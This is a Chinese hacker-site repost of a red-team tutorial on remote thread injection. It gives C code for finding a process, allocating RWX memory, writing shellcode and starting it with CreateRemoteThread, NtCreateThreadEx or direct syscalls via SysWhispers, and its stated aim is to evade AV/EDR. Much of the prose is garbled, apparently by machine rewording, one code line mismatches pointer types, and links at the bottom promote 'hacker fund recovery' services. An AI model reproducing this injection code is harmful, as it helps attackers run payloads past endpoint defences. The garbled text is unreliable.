当前位置:首页 > 网络安全 > 正文内容

网络黑客信息平台网:一文了解远程线程注入

访客4年前 (2021-04-04)网络安全894

在红队行動中,红队的目地全是要不在曝露本身行動的前提条件下,向红队启动进攻。她们应用各种各样技术性和程序流程来掩藏C2联接和数据流分析。进攻主题活动的第一步是得到原始浏览权。她们会应用订制的恶意程序和重力梯度来避开防杀松软EDR等防御力专用工具。

文中涉及到知识要点实际操作训练:DLL注入型病毒实验(根据试验掌握DLL注入型病毒感染的进攻全过程)

进程注入是用于躲避自我防御机制的关键技术性之一。远程线程注入是在其中的一种简易靠谱的技术性,它的原理是将shellcode注入到另一个合理合法的进程中,并且为该进程建立一个线程来运作payload。

大家一般会应用规范的Windows API、Native API和立即syscalls来完成远程线程注入,这种完成方法都是有分别的优点和缺点,下面的图展现了规范的windows API、Native API和立即syscalls在windows构架中的原理。

规范的windows API

优势:便于应用

缺陷:可被大部分AV/EDR检验到

大家最先检测应用规范的Windows API,因为它比别的二种方法更简易。最先,大家必须寻找大家的总体目标进程ID。大家必须建立一个名叫find_process的涵数,它能够获得一个进程名。它应用CreateToolhelp32Snapshot API获得当今进程目录,并应用Process32First和Process32Next逐一查询,并将进程名与大家的总体目标进程开展较为。应用Process32First和Process32Next API会获得一个偏向PROCESSENTRY32构造的表针,这一构造能够储存进程的信息内容,例如它的姓名和id。假如它取得成功地找到进程,便会回到它的进程ID。

DWORD find_process(char *process_name){

PROCESSENTRY32 process_entry;

process_entry.dwSize=sizeof(PROCESSENTRY32);

//get the list of processes

HANDLE snapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

//check processes to find TARGET_PROCESS_NAME

if (Process32First(snapshot, &process_entry)==TRUE){

while (Process32Next(snapshot, &process_entry)==TRUE){

if (stricmp(process_entry.szExeFile, process_name)==0){

CloseHandle(snapshot);

return process_entry.th32ProcessID;

}

}

}

CloseHandle(snapshot);

return 0;

}

下一步,大家必须应用OpenProcess 涵数开启总体目标进程。我们可以传送大家的主要参数,包含从上一步获得的总体目标进程id,它将回到该进程的句柄。

HANDLE target_process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, target_process_id);

如今大家必须应用VirtualAllocEx涵数在总体目标进程中为大家的shellcode分派室内空间,大家应当给这一室内空间分派PAGE_EXECUTE_READWRITE(读、写、实行)管理权限,这一涵数回到分派地区的首详细地址。

LPVOID remote_process_buffer = VirtualAllocEx(target_process_handle, NULL, sizeof(buf), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);

如今大家应当应用WriteProcessMemory涵数将大家的shellcode载入分派的运行内存地区。

WriteProcessMemory(target_process_handle, remote_process_buffer, buf, sizeof(buf), NULL);

此刻能够在总体目标进程中建立一个线程,并运作大家以前写到运行内存页中的shellcode.我们可以应用CreateRemoteThread涵数.还应当传送0做为dwCreationFlags主要参数,表明在建立后马上运作线程。

CreateRemoteThread(target_process_handle, NULL, 0,(LPTHREAD_START_ROUTINE) remote_process_buffer,NULL,0, NULL);

为了更好地能在kali中编译程序编码,大家必须应用MinGWc语言编译器。

x86_64-w64-mingw32-gcc main.c -o rti.exe

大家将輸出的文档发送至大家的windows设备上运作它。如果我们开启process hacker并查询notepad.exe进程,在运行内存一部分有一个很异常的具备RWX管理权限的运行内存页,如果我们开启它,就可以见到里边的shellcode。

Native API

优势:可以绕开一些AV/EDR

缺陷:

难以应用

仍很有可能被大部分AV/EDR检验到。

没法在全部版本号的Windows上运作

为了更好地便捷与电脑操作系统开展互动,程序猿一般应用微软公司强烈推荐的规范API(Win 32 API)。规范Windows APIs是在Native APIs的基本上包裝造成的。Native APIs 或 Undocumented APIs 都能够在 ntdll.dll 库文件寻找。微软公司不强烈推荐应用这种API。你能查询第二张图,能够很清晰见到这种API是怎样工作中的。native API也应用syscalls与os核心互动,微软公司应用这类构架是由于它能够不在危害规范API的状况下更改电脑操作系统核心。

Native API也被称作无文本文档API,由于你一般找不着他们的官方网文本文档。大家主要是根据查询别人的编码或是他人小结的第三方文本文档,来查询他们的操作方法。

在上一节中,大家应用了规范的API来进行大家的工作中,这儿大家再深层次一层,试着应用原生态API。最先,大家必须将ntdll.dll载入到大家的恶意程序进程中.随后大家必须界定与我们要应用的初始涵数文件格式完全一致的函数指针,并应用这种涵数的基详细地址来复位这种表针.

我们可以应用LoadLibraryW涵数,动态性载入ntdll.dll或一切别的dll到大家的运作进程中,另外它会回到该库的一个句柄。

HMODULE hNtdll = LoadLibraryW(L"ntdll");

随后大家界定函数指针种类,并应用GetProcAddress涵数获得涵数的基详细地址,并将其取值给表针,下列是NtOpenProcess的应用事例。

typedef NTSTATUS(NTAPI* pNtOpenProcess)(PHANDLE ProcessHandle, ACCESS_MASK AccessMask, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientID);

pNtOpenProcess NtOpenProcess=(pNtOpenProcess)GetProcAddress(hNtdll, "NtOpenProcess");

大家用与NtOpenProcess涵数同样的主要参数界定了大家的函数类型。针对NtWriteVirtualMemory , NtAllocateVirtualMemory , NtCreateThreadEx涵数都需要那样做。

NtOpenProcess

和上一节一样,大家从开启总体目标进程逐渐做,但此次应用的是NtOpenProcess涵数。这一涵数并不回到总体目标进程的Handle,大家必须传送一个句柄表针做为第一个主要参数。

#define InitializeObjectAttributes(p,n,a,r,s){ \\

(p)->Length=sizeof(OBJECT_ATTRIBUTES); \\

(p)->RootDirectory=(r); \\

(p)->Attributes=(a); \\

(p)->ObjectName=(n); \\

(p)->SecurityDescriptor=(s); \\

(p)->SecurityQualityOfService=NULL; \\

}

typedef struct _CLIENT_ID

{

PVOID UniqueProcess;

PVOID UniqueThread;

}CLIENT_ID, *PCLIENT_ID;

typedef struct _UNICODE_STRING{

USHORT Length;

USHORT MaximumLength;

PWSTR Buffer;

}UNICODE_STRING, *PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES{

ULONG Length;

HANDLE RootDirectory;

PUNICODE_STRING ObjectName;

ULONG Attributes;

PVOID SecurityDescriptor;

PVOID SecurityQualityOfService;

}OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES ;

OBJECT_ATTRIBUTES oa;

  InitializeObjectAttributes(&oa, NULL,0,NULL,NULL);

  CLIENT_ID ci={ (HANDLE)procid, NULL };

  现在我们可以使用 NtOpenProcess函数

  NtOpenProcess(&target_process_handle,PROCESS_ALL_ACCESS, &oa, &ci);

  NtAllocateVirtualMemory

  我们使用NtAllocateVirtualMemory函数在目标进程中分配内存,我们定义该函数的原型。

  typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect)

  然后我们得到函数的基地址。

  pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory")

  我们把这个地址称为 "NtWriteVirtualMemory"

  NtAllocateVirtualMemory(target_process_handle, &remote_process_buffer, 0,&buf_len ,MEM_COMMIT, PAGE_EXECUTE_READWRITE)

  我们传递了一个名为remote_process_buffer的指针,它代表的是所分配空间的基地址。

  NtWriteVirtualMemory

  像之前的步骤一样,先定义NtWriteVirtualMemory函数原型,我们应该将我们的shellcode,shellcode的长度,以及分配空间的基地址作为参数进行传递

  typedef NTSTATUS(NTAPI* pNtWriteVirtualMemory)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToWrite, PULONG NumberOfBytesWritten OPTIONAL);

  pNtWriteVirtualMemory NtWriteVirtualMemory=(pNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");

  NtWriteVirtualMemory(target_process_handle, remote_process_buffer, buf, buf_len, NULL);

  NtCreateThreadEx

  现在我们可以在目标进程中创建一个线程并运行我们的shellcode了。我们使用NtCreateThreadEx在目标进程中创建一个远程线程并运行我们的shellcode。

  NtCreateThreadEx(&thread_handle, 0x1FFFFF, NULL, target_process_handle, (LPTHREAD_START_ROUTINE)remote_process_buffer,NULL, FALSE, NULL, NULL, NULL, NULL)

  Direct Syscalls

  优点:用户系统中所有的API监控工具都无法检测到。

  缺点:

  可能无法在所有版本的Windows上运行

  很难使用

  在前面的步骤中,任何API监控程序和EDRs都可以检测到我们的API调用,阻止我们的攻击。现在,如果我们直接使用syscalls,用户系统就没有任何工具可以检测到API的调用。

  syscalls的一个严重缺点就是他的运行对于操作系统的版本的依赖程度很高,我们的代码可能无法在不同的windows版本上运行。然而,通过使用像SysWhisper 这样的工具,我们就可以让软件在不同版本的windows系统上运行。运行下面的命令就可以在我们的windows 10系统上生成相应的文件。

  syswhispers.py --function NtCreateProcess,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscall --versions 10

  这个命令会生成两个文件syscall.asm和syscall.h,我们需要将它们添加到visual studio项目中。然后我们应该在项目中启用MASM,并将头文件包含在我们的主代码中。这里可以像Native API一样调用函数,但这里我们不需要加载ntdll.dll,获取函数的基地址,和定义函数原型。我觉得SysWhisper让利用syscalls变得非常简单了。

  文章至此,也该告一段落了,文中涉及更多的是winows底层的知识,主要讲解了三种常见的方法,希望在写文章的同时,能给各位师傅带来一点点的启发和灵感。

扫描二维码推送至手机访问。

版权声明:本文由黑客接单发布,如需转载请注明出处。

本文链接:https://therlest.com/107452.html

分享给朋友:

“网络黑客信息平台网:一文了解远程线程注入” 的相关文章

黑客追款出款成功再收费「24小时在线的黑客追款」

据公务员期刊网2021年10月14日18:37:49的最新发布,微博网友@ 爆料。 平安夜来临之际,事件,在网上炒得沸沸扬扬,引发全网热议! 据悉,黑客追款出款成功再收费。可能没有机会接触到钱。那时候我就有想过退步。 一、黑客追回网赌40万 首先确保整个无前期费用黑客追款方案是最有效的,在做一件黑客...

创业板投资风险揭示书,创业板风险揭示书

保荐机构(主承销商):中泰证券股份有限公司 苏州天路光科技股份有限公司(以下简称“天路科技”、“发行人”或“公司”)首次公开发行不超过2579万股普通股(a股)(以下简称“本次发行”)的申请,已经深圳证券交易所(以下简称“深交所”)创业板上市委员会委员审议通过,并经中国证券监督管理委员会(以下...

干洗对衣物有害吗

干洗对衣物有害吗 干洗剂实际上就是有机溶剂,所以对衣服多少都有点危害,只不过高级的干洗剂对衣服损伤小一些而已。 随着人们工作的繁忙和生活节奏的加快,现代人更多地把换下的衣物送到洗衣店干洗,以保证衣服不变形和有更多的时间休闲娱乐,这本是一件提高生活品质的好事,但据最新的研究显示,干洗衣物对身...

宝钢价格行情最新报价,宝钢股份2021年10月钢材价格

宝钢钢材的价格:宝钢3Cr2W8V圆钢,故11、多家钢厂纷纷出台四季度价格调整方案,钢坯出口下降,月份钢材价格走势不容乐观。 要全面考虑下.关于2008年12月宝钢股份碳钢产品钢材价格国内期货销售价格调整的通知发布时间:2008-10-2014:03:06源自-宝钢股份,宝钢每月都公布下月的出厂价格...

一年黄金价格走势图(黄金价格实时走势图分析

2019年金价将迎来上涨荷兰银行,2018年黄金市场或许不会有太好的表现,是一种软的,你可以随时来平台内查询。 金道贵金属,日交易k线图构成周交易k线图,此时段间,即开始疲软下跌,2016年06月06日老凤祥价格可,黄金价格走势K线图盘面,整体的价格走势是由每天的交易组成的,24kinfo这个平台的...

ems邮政快递查询(ems快递附近网点查询)

一、邮政快递包裹号码查询 北京邮政速递丰丸西路分局鑫源投资部:发货及收货 EMS快递单号:EI061382538CS 时间、地点及跟踪进展北京邮政速递丰丸路分公司西局鑫源投资部:发货及收货2012-02-12 08:19:21北京邮政速递丰丸路分公司西局鑫源投资部:安排发货2012-02-12...

评论列表

末屿颇倔
2年前 (2022-07-09)

在红队行動中,红队的目地全是要不在曝露本身行動的前提条件下,向红队启动进攻。她们应用各种各样技术性和程序流程来掩藏C2联接和数据流分析。进攻主题活动的第一步是得到原始浏览权。她们会应用订制的恶意程序和重力梯度来避开防杀松软EDR等防御力专用工具。文中涉

莣萳旧我
2年前 (2022-07-09)

译程序编码,大家必须应用MinGWc语言编译器。x86_64-w64-mingw32-gcc main.c -o rti.exe大家将輸出的文档发送至大家的windows设备上运

纵遇拥野
2年前 (2022-07-09)

需要加载ntdll.dll,获取函数的基地址,和定义函数原型。我觉得SysWhisper让利用syscalls变得非常简单了。  文章至此,也该告一段落了,文中涉及更多的是winows底层的知识,主要讲解了三种常见的方法,希望在写文章的同时,能给各位师傅带来一点点的启发和灵感。

依疚简妗
2年前 (2022-07-09)

GetProcAddress(hNtdll, "NtAllocateVirtualMemory")  我们把这个地址称为 "NtWriteVirtualMemory

鸠骨晕白
2年前 (2022-07-09)

ocess");大家用与NtOpenProcess涵数同样的主要参数界定了大家的函数类型。针对NtWriteVirtualMemory , NtAllocateVirtualMemory , NtCreateTh

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。